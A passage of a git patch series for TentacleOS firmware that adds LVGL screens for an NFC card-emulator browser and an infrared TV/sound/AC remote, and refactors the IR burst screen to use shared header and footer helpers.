lv_obj_set_style_text_color(hint, current_theme.text_main, 0); + lv_obj_set_style_text_opa(hint, LV_OPA_60, 0); + lv_obj_set_style_text_font(hint, &lv_font_montserrat_12, 0); + lv_obj_align(hint, LV_ALIGN_BOTTOM_MID, 0, -4); + + lv_obj_set_style_shadow_width(s_panel, 0, 0); + lv_obj_update_layout(s_screen); + int cx = lv_obj_get_x(s_panel); + int cy = lv_obj_get_y(s_panel); + s_snap = lv_snapshot_take(s_panel, LV_COLOR_FORMAT_ARGB8888); + + s_field_ready = false; + if (s_snap != NULL) { + s_card_img = lv_image_create(s_screen); + lv_image_set_src(s_card_img, s_snap); + lv_obj_set_pos(s_card_img, cx, cy); + lv_image_set_pivot(s_card_img, 105, 61); + lv_image_set_scale(s_card_img, 256); + lv_obj_set_style_opa(s_card_img, LV_OPA_COVER, 0); + lv_obj_move_foreground(s_card_img); + lv_obj_add_flag(s_panel, LV_OBJ_FLAG_HIDDEN); + + lv_anim_t ay; + lv_anim_init(&ay); + lv_anim_set_var(&ay, s_card_img); + lv_anim_set_values(&ay, cy, top_y); + lv_anim_set_duration(&ay, 640); + lv_anim_set_path_cb(&ay, lv_anim_path_overshoot); + lv_anim_set_exec_cb(&ay, anim_img_y_cb); + lv_anim_set_completed_cb(&ay, anim_card_settled); + lv_anim_start(&ay); + + lv_anim_t as; + lv_anim_init(&as); + lv_anim_set_var(&as, s_card_img); + lv_anim_set_values(&as, 256, SCALE_FWD); + lv_anim_set_duration(&as, 560); + lv_anim_set_path_cb(&as, lv_anim_path_overshoot); + lv_anim_set_exec_cb(&as, anim_img_scale_cb); + lv_anim_start(&as); + } else { + lv_obj_set_align(s_panel, LV_ALIGN_TOP_LEFT); + lv_obj_set_pos(s_panel, cx, top_y); + lv_obj_set_style_transform_pivot_x(s_panel, 105, 0); + lv_obj_set_style_transform_pivot_y(s_panel, 61, 0); + lv_obj_set_style_shadow_width(s_panel, 0, 0); + lv_obj_set_style_transform_scale_x(s_panel, SCALE_FWD, 0); + lv_obj_set_style_transform_scale_y(s_panel, SCALE_FWD, 0); + lv_obj_move_foreground(s_panel); + s_field_ready = true; + lv_obj_fade_in(s_field_box, 300, 0); + if (s_glow) + lv_obj_fade_in(s_glow, 360, 0); + } + + s_state = CE_EMULATE; +} + +static void enter_edit(void) { + s_state = CE_EDIT; + s_edit_type = 0; + nfc_sim_make_card(s_edit_type, &s_edit); + rebuild_panel(); + refresh_text(); +} + +static void tick_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_timer = NULL; + return; + } + bool up = ui_btn_up(), down = ui_btn_down(); + bool left = ui_btn_left(), right = ui_btn_right(); + bool ok = ok_button_is_down(), back = back_button_is_down(); + + if (s_state == CE_EMULATE) { + if (s_field_ready) + nfc_ui_field_tick(&s_field, lv_tick_get()); + if (back && !s_back_last) + emulate_close(); + goto save_edges; + } + + if (ui_input_is_locked()) + goto save_edges; + + if (back && !s_back_last) { + if (s_state == CE_EDIT) { + s_state = CE_BROWSE; + rebuild_panel(); + refresh_text(); + } else { + ui_switch_screen(SCREEN_NFC_MENU); + return; + } + goto save_edges; + } + + if (s_state == CE_BROWSE) { + int slots = nfc_sim_saved_count() + 1; + if (right && !s_right_last) + do_flip((s_idx + 1) % slots, +1); + if (left && !s_left_last) + do_flip((s_idx - 1 + slots) % slots, -1); + if (ok && !s_ok_last) { + int saved = nfc_sim_saved_count(); + if (s_idx < saved) + emulate_start(nfc_sim_saved_get(s_idx)); + else + enter_edit(); + } + } else { + int nt = nfc_sim_template_count(); + if (right && !s_right_last) { + s_edit_type = (s_edit_type + 1) % nt; + nfc_sim_make_card(s_edit_type, &s_edit); + rebuild_panel(); + refresh_text(); + } + if (left && !s_left_last) { + s_edit_type = (s_edit_type - 1 + nt) % nt; + nfc_sim_make_card(s_edit_type, &s_edit); + rebuild_panel(); + refresh_text(); + } + if (up && !s_up_last) { + nfc_sim_make_card(s_edit_type, &s_edit); + rebuild_panel(); + } + if (ok && !s_ok_last) { + if (nfc_sim_add(&s_edit)) + nfc_ui_play_sound(NFC_SND_SAVE); + s_idx = nfc_sim_saved_count() - 1; + if (s_idx < 0) + s_idx = 0; + emulate_start(&s_edit); + } + } + +save_edges: + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_card_emu_open(void) { + nfc_sim_init(); + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_panel = NULL; + s_ov = NULL; + s_field_box = NULL; + s_card_img = NULL; + s_glow = NULL; + s_snap = NULL; + s_field_ready = false; + for (int i = 0; i < 3; i++) + s_field.ring[i] = NULL; + s_state = CE_BROWSE; + s_idx = 0; + s_up_last = s_down_last = s_ok_last = s_back_last = s_left_last = s_right_last = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + ui_chrome_header(s_screen, "CARD EMU", "/assets/icons/emulate_icon.bin"); + + s_status = lv_label_create(s_screen); + lv_obj_set_style_text_color(s_status, current_theme.text_main, 0); + lv_obj_align(s_status, LV_ALIGN_TOP_MID, 0, 48); + + s_hint = ui_chrome_footer(s_screen, ""); + + rebuild_panel(); + refresh_text(); + + if (s_timer == NULL) + s_timer = lv_timer_create(tick_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/nfc/include/card_emu_ui.h b/firmware_p4/components/Applications/ui/screens/nfc/include/card_emu_ui.h new file mode 100644 index 000000000..1e9d3b0f8 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/include/card_emu_ui.h @@ -0,0 +1,25 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef CARD_EMU_UI_H +#define CARD_EMU_UI_H + +/** + * @brief Advanced card emulator (main-menu CARD EMU): flip through saved cards + * as big card panels, create a custom card, and emulate the selected one. + */ +void ui_card_emu_open(void); + +#endif // CARD_EMU_UI_H From 23872f1ebebe6fbf782f4b393cfd38af6619337e Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:01:04 -0300 Subject: [PATCH 127/572] feat(ui): add remote control screen --- .../infrared/include/ir_controller_ui.h | 16 ++ .../infrared/include/ir_remote_type_ui.h | 30 ++ .../ui/screens/infrared/ir_controller_ui.c | 258 +++++++++++++++--- .../ui/screens/infrared/ir_menu_ui.c | 13 +- .../ui/screens/infrared/ir_remote_type_ui.c | 99 +++++++ 5 files changed, 366 insertions(+), 50 deletions(-) create mode 100644 firmware_p4/components/Applications/ui/screens/infrared/include/ir_remote_type_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/infrared/ir_remote_type_ui.c diff --git a/firmware_p4/components/Applications/ui/screens/infrared/include/ir_controller_ui.h b/firmware_p4/components/Applications/ui/screens/infrared/include/ir_controller_ui.h index e27eec777..9c8b883d0 100644 --- a/firmware_p4/components/Applications/ui/screens/infrared/include/ir_controller_ui.h +++ b/firmware_p4/components/Applications/ui/screens/infrared/include/ir_controller_ui.h @@ -20,6 +20,22 @@ extern "C" { #endif +/** + * @brief Appliance layout the remote controller renders. + */ +typedef enum { + IR_DEV_TV, ///< Television remote layout + IR_DEV_SOUND, ///< Sound system remote layout + IR_DEV_AC, ///< Air conditioner remote layout +} ir_device_t; + +/** + * @brief Choose which appliance layout the next ui_ir_controller_open() shows. + * + * @param dev Appliance layout to render on the next open. + */ +void ui_ir_controller_set_device(ir_device_t dev); + /** * @brief Open the infrared remote controller screen. */ diff --git a/firmware_p4/components/Applications/ui/screens/infrared/include/ir_remote_type_ui.h b/firmware_p4/components/Applications/ui/screens/infrared/include/ir_remote_type_ui.h new file mode 100644 index 000000000..96c4344e2 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/infrared/include/ir_remote_type_ui.h @@ -0,0 +1,30 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef IR_REMOTE_TYPE_UI_H +#define IR_REMOTE_TYPE_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief Pick the appliance type (TV / Sound / AC) for the IR remote. */ +void ui_ir_remote_type_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // IR_REMOTE_TYPE_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/infrared/ir_controller_ui.c b/firmware_p4/components/Applications/ui/screens/infrared/ir_controller_ui.c index 2f884c43d..412843026 100644 --- a/firmware_p4/components/Applications/ui/screens/infrared/ir_controller_ui.c +++ b/firmware_p4/components/Applications/ui/screens/infrared/ir_controller_ui.c @@ -19,6 +19,7 @@ #include "st7789.h" #include "buttons_gpio.h" +#include "ui_chrome.h" #include "ui_manager.h" #include "ui_theme.h" @@ -27,71 +28,205 @@ static const char *TAG = "IR_CTRL_UI"; #define OUTER_BORDER 4 #define TOP_BORDER_H 46 #define TOP_AREA_BORDER_WIDTH 3 -#define TITLE_BAR_W 170 +#define TITLE_BAR_W 180 #define TITLE_BAR_H 30 #define TITLE_BAR_RADIUS 12 #define TITLE_BAR_BORDER_WIDTH 2 #define NAV_TIMER_INTERVAL_MS 50 +#define MAX_BTNS 16 +#define BTN_Y_OFFSET (-8) + +typedef struct { + const char *text; + int dx, dy, w, h; +} rc_btn_t; + +typedef struct { + const char *title; + const rc_btn_t *btns; + int count; + int start; +} rc_layout_t; + +static const rc_btn_t TV_BTNS[] = { + {LV_SYMBOL_POWER, -72, 58, 44, 34}, + {LV_SYMBOL_MUTE, 72, 58, 44, 34}, + {LV_SYMBOL_UP, 0, 98, 40, 28}, + {LV_SYMBOL_LEFT, -54, 138, 40, 34}, + {"OK", 0, 132, 56, 56}, + {LV_SYMBOL_RIGHT, 54, 138, 40, 34}, + {LV_SYMBOL_DOWN, 0, 192, 40, 28}, + {"VOL +", -78, 234, 52, 30}, + {"VOL -", -78, 270, 52, 30}, + {LV_SYMBOL_LIST, 0, 234, 46, 30}, + {LV_SYMBOL_HOME, 0, 270, 46, 30}, + {"CH +", 78, 234, 52, 30}, + {"CH -", 78, 270, 52, 30}, +}; + +static const rc_btn_t SOUND_BTNS[] = { + {LV_SYMBOL_POWER, -70, 60, 56, 34}, + {"SRC", 70, 60, 56, 34}, + {"VOL -", -70, 116, 56, 34}, + {"VOL +", 70, 116, 56, 34}, + {LV_SYMBOL_PREV, -74, 176, 50, 40}, + {LV_SYMBOL_PLAY, 0, 174, 56, 46}, + {LV_SYMBOL_NEXT, 74, 176, 50, 40}, + {LV_SYMBOL_MUTE, -70, 240, 56, 34}, + {"MODE", 70, 240, 56, 34}, +}; + +static const rc_btn_t AC_BTNS[] = { + {LV_SYMBOL_POWER, -70, 60, 56, 34}, + {"MODE", 70, 60, 56, 34}, + {"TEMP +", 0, 116, 78, 36}, + {"TEMP -", 0, 166, 78, 36}, + {"FAN", -70, 222, 56, 34}, + {"SWING", 70, 222, 56, 34}, + {"TIMER", -70, 272, 56, 34}, + {"ECO", 70, 272, 56, 34}, +}; + +static const rc_layout_t LAYOUTS[] = { + [IR_DEV_TV] = {"TV Remote", TV_BTNS, (int)(sizeof(TV_BTNS) / sizeof(TV_BTNS[0])), 4}, + [IR_DEV_SOUND] = {"Sound System", + SOUND_BTNS, + (int)(sizeof(SOUND_BTNS) / sizeof(SOUND_BTNS[0])), + 5}, + [IR_DEV_AC] = {"Air Cond.", AC_BTNS, (int)(sizeof(AC_BTNS) / sizeof(AC_BTNS[0])), 2}, +}; +#define LAYOUT_COUNT ((int)(sizeof(LAYOUTS) / sizeof(LAYOUTS[0]))) + +static ir_device_t s_device = IR_DEV_TV; +static const rc_layout_t *s_lay = &LAYOUTS[IR_DEV_TV]; static lv_obj_t *s_screen = NULL; +static lv_obj_t *s_btn_objs[MAX_BTNS]; static lv_timer_t *s_nav_timer = NULL; -static bool s_btn_back_last = false; +static int s_focus = 0; + +static bool s_btn_up_last, s_btn_down_last, s_btn_left_last; +static bool s_btn_right_last, s_btn_ok_last, s_btn_back_last; static void nav_timer_cb(lv_timer_t *timer); +void ui_ir_controller_set_device(ir_device_t dev) { + if ((int)dev >= 0 && (int)dev < LAYOUT_COUNT) + s_device = dev; +} + +static void apply_focus_style(lv_obj_t *btn, bool focused) { + lv_obj_set_style_border_color( + btn, focused ? current_theme.border_accent : current_theme.border_interface, 0); + lv_obj_set_style_border_width(btn, focused ? 3 : 2, 0); +} + +static void set_focus(int idx) { + if (idx < 0 || idx >= s_lay->count || idx == s_focus) + return; + apply_focus_style(s_btn_objs[s_focus], false); + s_focus = idx; + apply_focus_style(s_btn_objs[s_focus], true); +} + +static int neighbor(int dir) { + const rc_btn_t *cur = &s_lay->btns[s_focus]; + int ccx = cur->dx, ccy = cur->dy; + int best = -1; + long best_cost = 0; + for (int i = 0; i < s_lay->count; i++) { + if (i == s_focus) + continue; + const rc_btn_t *b = &s_lay->btns[i]; + int ddx = b->dx - ccx; + int ddy = b->dy - ccy; + int along, perp; + bool ok; + switch (dir) { + case 0: + ok = ddy < -4; + along = -ddy; + perp = ddx < 0 ? -ddx : ddx; + break; + case 1: + ok = ddy > 4; + along = ddy; + perp = ddx < 0 ? -ddx : ddx; + break; + case 2: + ok = ddx < -4; + along = -ddx; + perp = ddy < 0 ? -ddy : ddy; + break; + default: + ok = ddx > 4; + along = ddx; + perp = ddy < 0 ? -ddy : ddy; + break; + } + if (!ok) + continue; + long cost = (long)along + 2L * perp; + if (best < 0 || cost < best_cost) { + best = i; + best_cost = cost; + } + } + return best; +} + +static lv_obj_t *make_button(const rc_btn_t *def) { + lv_obj_t *btn = lv_obj_create(s_screen); + lv_obj_set_size(btn, def->w, def->h); + lv_obj_align(btn, LV_ALIGN_TOP_MID, def->dx, def->dy + BTN_Y_OFFSET); + lv_obj_remove_flag(btn, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_radius(btn, (def->w == def->h) ? LV_RADIUS_CIRCLE : 10, 0); + lv_obj_set_style_bg_opa(btn, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(btn, current_theme.bg_item_bot, 0); + lv_obj_set_style_bg_grad_color(btn, current_theme.bg_item_top, 0); + lv_obj_set_style_bg_grad_dir(btn, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_border_width(btn, 2, 0); + lv_obj_set_style_border_color(btn, current_theme.border_interface, 0); + lv_obj_set_style_pad_all(btn, 0, 0); + + lv_obj_t *lbl = lv_label_create(btn); + lv_label_set_text(lbl, def->text); + lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); + lv_obj_set_style_text_font(lbl, &lv_font_montserrat_12, 0); + lv_obj_center(lbl); + + return btn; +} + void ui_ir_controller_open(void) { if (s_screen != NULL) { lv_obj_del(s_screen); s_screen = NULL; } + s_lay = &LAYOUTS[s_device]; + s_screen = lv_obj_create(NULL); lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_border_width(s_screen, OUTER_BORDER, 0); - lv_obj_set_style_border_color(s_screen, current_theme.border_interface, 0); + lv_obj_set_style_border_width(s_screen, 0, 0); lv_obj_set_style_pad_all(s_screen, 0, 0); - lv_obj_t *top_area = lv_obj_create(s_screen); - lv_obj_set_size(top_area, LCD_H_RES - OUTER_BORDER * 2, TOP_BORDER_H); - lv_obj_align(top_area, LV_ALIGN_TOP_MID, 0, 0); - lv_obj_remove_flag(top_area, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_bg_opa(top_area, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(top_area, TOP_AREA_BORDER_WIDTH, 0); - lv_obj_set_style_border_color(top_area, current_theme.border_interface, 0); - lv_obj_set_style_border_side(top_area, LV_BORDER_SIDE_BOTTOM, 0); - lv_obj_set_style_radius(top_area, 0, 0); - lv_obj_set_style_pad_all(top_area, 0, 0); - - lv_obj_t *title_bar = lv_obj_create(top_area); - lv_obj_set_size(title_bar, TITLE_BAR_W, TITLE_BAR_H); - lv_obj_align(title_bar, LV_ALIGN_CENTER, 0, 0); - lv_obj_remove_flag(title_bar, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(title_bar, TITLE_BAR_RADIUS, 0); - lv_obj_set_style_bg_opa(title_bar, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(title_bar, current_theme.bg_primary, 0); - lv_obj_set_style_bg_grad_color(title_bar, current_theme.bg_secondary, 0); - lv_obj_set_style_bg_grad_dir(title_bar, LV_GRAD_DIR_HOR, 0); - lv_obj_set_style_border_width(title_bar, TITLE_BAR_BORDER_WIDTH, 0); - lv_obj_set_style_border_color(title_bar, current_theme.border_accent, 0); - - lv_obj_t *title_lbl = lv_label_create(title_bar); - lv_label_set_text(title_lbl, "CONTROLLER"); - lv_obj_set_style_text_color(title_lbl, current_theme.text_main, 0); - lv_obj_set_style_text_font(title_lbl, &lv_font_montserrat_14, 0); - lv_obj_center(title_lbl); - - lv_obj_t *lbl = lv_label_create(s_screen); - lv_label_set_text(lbl, "Coming soon..."); - lv_obj_set_style_text_color(lbl, current_theme.border_inactive, 0); - lv_obj_set_style_text_font(lbl, &lv_font_montserrat_14, 0); - lv_obj_center(lbl); + ui_chrome_header(s_screen, s_lay->title, "/assets/icons/remote_menu_icon.bin"); + + for (int i = 0; i < s_lay->count && i < MAX_BTNS; i++) + s_btn_objs[i] = make_button(&s_lay->btns[i]); + + s_focus = (s_lay->start >= 0 && s_lay->start < s_lay->count) ? s_lay->start : 0; + apply_focus_style(s_btn_objs[s_focus], true); if (s_nav_timer == NULL) s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); - lv_screen_load(s_screen); + ui_chrome_footer(s_screen, "OK = Send BACK = Back"); + + ui_screen_load(s_screen); } static void nav_timer_cb(lv_timer_t *timer) { @@ -104,9 +239,44 @@ static void nav_timer_cb(lv_timer_t *timer) { if (ui_input_is_locked()) return; - bool is_back = back_button_is_down(); - if (is_back && !s_btn_back_last) - ui_switch_screen(SCREEN_IR_MENU); + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool left = ui_btn_left(); + bool right = ui_btn_right(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + + if (back && !s_btn_back_last) + ui_switch_screen(SCREEN_IR_REMOTE_TYPE); - s_btn_back_last = is_back; -} \ No newline at end of file + if (up && !s_btn_up_last) { + int n = neighbor(0); + if (n >= 0) + set_focus(n); + } + if (down && !s_btn_down_last) { + int n = neighbor(1); + if (n >= 0) + set_focus(n); + } + if (left && !s_btn_left_last) { + int n = neighbor(2); + if (n >= 0) + set_focus(n); + } + if (right && !s_btn_right_last) { + int n = neighbor(3); + if (n >= 0) + set_focus(n); + } + + if (ok && !s_btn_ok_last) + ESP_LOGI(TAG, "press [%s]: %s", s_lay->title, s_lay->btns[s_focus].text); + + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; + s_btn_ok_last = ok; + s_btn_back_last = back; +} diff --git a/firmware_p4/components/Applications/ui/screens/infrared/ir_menu_ui.c b/firmware_p4/components/Applications/ui/screens/infrared/ir_menu_ui.c index 37caa9058..ee9baa655 100644 --- a/firmware_p4/components/Applications/ui/screens/infrared/ir_menu_ui.c +++ b/firmware_p4/components/Applications/ui/screens/infrared/ir_menu_ui.c @@ -33,8 +33,9 @@ typedef struct { } ir_menu_item_t; static const ir_menu_item_t MENU_ITEMS[] = { - {"Learn", "/assets/icons/ir_receive_menu_icon.bin", SCREEN_IR_RECEIVE}, + {"Learn", "/assets/icons/learn_icon.bin", SCREEN_IR_RECEIVE}, {"Send", "/assets/icons/ir_send_menu_icon.bin", SCREEN_IR_SEND}, + {"Remote Control", "/assets/icons/remote_menu_icon.bin", SCREEN_IR_REMOTE_TYPE}, {"Browse Signals", "/assets/icons/search_menu_icon.bin", SCREEN_IR_SAVED}, {"Burst", "/assets/icons/burst_menu_icon.bin", SCREEN_IR_BURST}, }; @@ -62,14 +63,14 @@ void ui_ir_menu_open(void) { lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - s_menu = menu_component_create(s_screen, "INFRARED", NULL); + s_menu = menu_component_create(s_screen, "INFRARED", "/assets/icons/ir_icon.bin"); for (size_t i = 0; i < MENU_ITEMS_COUNT; i++) menu_component_add_item(&s_menu, MENU_ITEMS[i].icon, MENU_ITEMS[i].name); if (s_nav_timer == NULL) s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); - lv_screen_load(s_screen); + ui_screen_load(s_screen); } static void nav_timer_cb(lv_timer_t *timer) { @@ -82,8 +83,8 @@ static void nav_timer_cb(lv_timer_t *timer) { if (ui_input_is_locked()) return; - bool is_up = up_button_is_down(); - bool is_down = down_button_is_down(); + bool is_up = ui_btn_up(); + bool is_down = ui_btn_down(); bool is_ok = ok_button_is_down(); bool is_back = back_button_is_down(); @@ -106,4 +107,4 @@ static void nav_timer_cb(lv_timer_t *timer) { s_btn_down_last = is_down; s_btn_ok_last = is_ok; s_btn_back_last = is_back; -} \ No newline at end of file +} diff --git a/firmware_p4/components/Applications/ui/screens/infrared/ir_remote_type_ui.c b/firmware_p4/components/Applications/ui/screens/infrared/ir_remote_type_ui.c new file mode 100644 index 000000000..8e3714751 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/infrared/ir_remote_type_ui.c @@ -0,0 +1,99 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ir_remote_type_ui.h" + +#include "buttons_gpio.h" +#include "ir_controller_ui.h" +#include "menu_component_ui.h" +#include "ui_manager.h" +#include "ui_theme.h" + +#define NAV_TIMER_MS 50 +#define TYPE_ICON "/assets/icons/remote_menu_icon.bin" + +static const struct { + const char *name; + ir_device_t dev; +} ITEMS[] = { + {"TV", IR_DEV_TV}, + {"Sound System", IR_DEV_SOUND}, + {"Air Conditioner", IR_DEV_AC}, +}; +#define ITEM_COUNT ((int)(sizeof(ITEMS) / sizeof(ITEMS[0]))) + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; + +static bool s_up_last, s_down_last, s_left_last, s_right_last, s_ok_last, s_back_last; + +static void nav_timer_cb(lv_timer_t *t); + +void ui_ir_remote_type_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_up_last = s_down_last = s_left_last = s_right_last = s_ok_last = s_back_last = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_menu = menu_component_create(s_screen, "REMOTE", TYPE_ICON); + for (int i = 0; i < ITEM_COUNT; i++) + menu_component_add_item(&s_menu, TYPE_ICON, ITEMS[i].name); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool up = ui_btn_up(), down = ui_btn_down(), left = ui_btn_left(); + bool right = ui_btn_right(), ok = ok_button_is_down(), back = back_button_is_down(); + + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + if ((back && !s_back_last) || (left && !s_left_last)) + ui_switch_screen(SCREEN_IR_MENU); + if ((ok && !s_ok_last) || (right && !s_right_last)) { + int sel = menu_component_get_selected(&s_menu); + if (sel >= 0 && sel < ITEM_COUNT) { + ui_ir_controller_set_device(ITEMS[sel].dev); + ui_switch_screen(SCREEN_IR_CONTROLLER); + } + } + + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} From 8829080dfb73fb86a8b4cada15cec2007b1ba11e Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:02:23 -0300 Subject: [PATCH 128/572] refactor(ui): move learn/send/browse/burst screens to shared chrome helpers --- .../ui/screens/infrared/ir_burst_ui.c | 280 ++------ .../ui/screens/infrared/ir_receive_ui.c | 557 ++++++++-------- .../ui/screens/infrared/ir_saved_ui.c | 441 ++----------- .../ui/screens/infrared/ir_send_ui.c | 607 ++++++++---------- 4 files changed, 688 insertions(+), 1197 deletions(-) diff --git a/firmware_p4/components/Applications/ui/screens/infrared/ir_burst_ui.c b/firmware_p4/components/Applications/ui/screens/infrared/ir_burst_ui.c index d7315a72e..3cd817d15 100644 --- a/firmware_p4/components/Applications/ui/screens/infrared/ir_burst_ui.c +++ b/firmware_p4/components/Applications/ui/screens/infrared/ir_burst_ui.c @@ -15,250 +15,116 @@ #include "ir_burst_ui.h" -#include -#include -#include -#include - #include "esp_log.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "st7789.h" +#include "lvgl.h" #include "buttons_gpio.h" -#include "ir.h" -#include "ir_file.h" -#include "msgbox_ui.h" -#include "spinner_ui.h" -#include "tos_storage_paths.h" +#include "ui_chrome.h" #include "ui_manager.h" #include "ui_theme.h" +#include "waves_ui.h" static const char *TAG = "IR_BURST_UI"; -#define OUTER_BORDER 4 -#define TOP_BORDER_H 46 -#define TOP_AREA_BORDER_WIDTH 3 -#define TITLE_BAR_W 170 -#define TITLE_BAR_H 30 -#define TITLE_BAR_RADIUS 12 -#define TITLE_BAR_BORDER_WIDTH 2 -#define STATUS_LABEL_OFFSET_Y (-10) -#define COUNT_LABEL_OFFSET_Y 15 -#define SPINNER_OFFSET_Y (-20) -#define SPINNER_SIZE 30 -#define NAV_TIMER_INTERVAL_MS 50 -#define BURST_DELAY_MS 150 -#define BURST_TASK_STACK_SIZE 8192 -#define BURST_TASK_PRIORITY 5 -#define BURST_STOP_WAIT_MS 50 -#define IR_FILE_MAX_SIZE 4096 -#define SUB_PATH_MAX_LEN 512 -#define FILE_PATH_MAX_LEN 600 -#define IR_FILE_EXT ".ir" -#define IR_FILE_EXT_LEN 3 +#define SIG_GREEN 0x00E676 + +#define HEADER_TITLE_Y 10 +#define HEADER_RULE_Y 32 +#define HEADER_RULE_W 70 +#define HEADER_RULE_H 2 +#define HEADER_RULE_RADIUS 1 + +#define STATUS_Y 48 +#define COUNT_Y 66 +#define WAVES_Y 8 + +#define NAV_TIMER_INTERVAL_MS 50 +#define BURST_TICK_MS 180 +#define BURST_TOTAL 24 + +#define STATUS_BUSY "Burst running..." +#define STATUS_DONE "Burst complete!" +#define HINT_BUSY "BACK to cancel" +#define HINT_DONE "BACK = Exit" static lv_obj_t *s_screen = NULL; static lv_timer_t *s_nav_timer = NULL; +static lv_timer_t *s_burst_timer = NULL; static lv_obj_t *s_status_label = NULL; static lv_obj_t *s_count_label = NULL; -static spinner_ui_t s_spinner; +static lv_obj_t *s_footer = NULL; +static lv_obj_t *s_waves = NULL; +static int s_sent = 0; static bool s_btn_back_last = false; -static TaskHandle_t s_burst_task = NULL; -static volatile bool s_is_done = false; -static volatile bool s_stop_requested = false; -static volatile int s_sent_count = 0; -static volatile int s_total_count = 0; -static void send_one_file(const char *path); -static void burst_task(void *pvParameters); static void nav_timer_cb(lv_timer_t *timer); +static void burst_tick_cb(lv_timer_t *timer); void ui_ir_burst_open(void) { if (s_screen != NULL) { lv_obj_del(s_screen); s_screen = NULL; } - - s_is_done = false; - s_stop_requested = false; - s_sent_count = 0; - s_total_count = 0; - s_burst_task = NULL; + s_sent = 0; + s_burst_timer = NULL; s_screen = lv_obj_create(NULL); lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_border_width(s_screen, OUTER_BORDER, 0); - lv_obj_set_style_border_color(s_screen, current_theme.border_interface, 0); + 